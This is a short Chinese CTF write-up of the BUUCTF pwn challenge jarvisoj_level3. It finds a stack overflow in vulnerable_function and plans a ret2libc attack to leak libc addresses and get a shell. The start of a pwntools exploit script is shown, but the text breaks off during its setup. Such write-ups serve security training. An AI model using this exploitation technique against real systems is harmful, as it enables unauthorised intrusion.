BUUCTF pwn——jarvisoj_level3

最新推荐文章于 2025-02-22 10:26:47 发布

原创

最新推荐文章于 2025-02-22 10:26:47 发布 · 273 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全

文章描述了一个针对名为vulnerable_function的函数的栈溢出漏洞，利用ret2libc方法来构造exploit。通过ida分析，确定了栈空间大小和利用思路。使用python的pwn库进行远程或本地连接，寻找libc的write和system符号地址，最终获取shell并读取flag。

checksec

在这里插入图片描述

运行

直接输入就行
在这里插入图片描述

ida

名为`vulnerable_function`的函数，存在溢出

在这里插入图片描述

给输入分配的栈空间为0x88

在这里插入图片描述

利用思路

ret2libc

代码

'''
@Author       : 白银
@Date         : 2023-04-21 14:10:32
@LastEditors  : 白银
@LastEditTime : 2023-04-21 14:36:09
@FilePath     : /pwn/level3.py
@Description  : https://buuoj.cn/challenges#jarvisoj_level3
@Attention    : 
@Copyright (c) 2023 by 白银 captain-jparrow@qq.com, All Rights Reserved. 
'''

from pwn import *
from libcfind import *

set_arch = 2  # set_arch中，int，0→amd64，1→arm64，2→i386
pwnfile = './level3'  # pwnfile， str，二进制文件
if_remote = 1  # if_remote，int，1→远程，别的数字→本地
# 打本地，if_remote改别的数字就可以，最后两个参数随便改

# set_arch = 0
if set_arch == 0:
    context(log_level='debug', arch='amd64', os='linux')
elif set_arch == 1:
    context(log_level=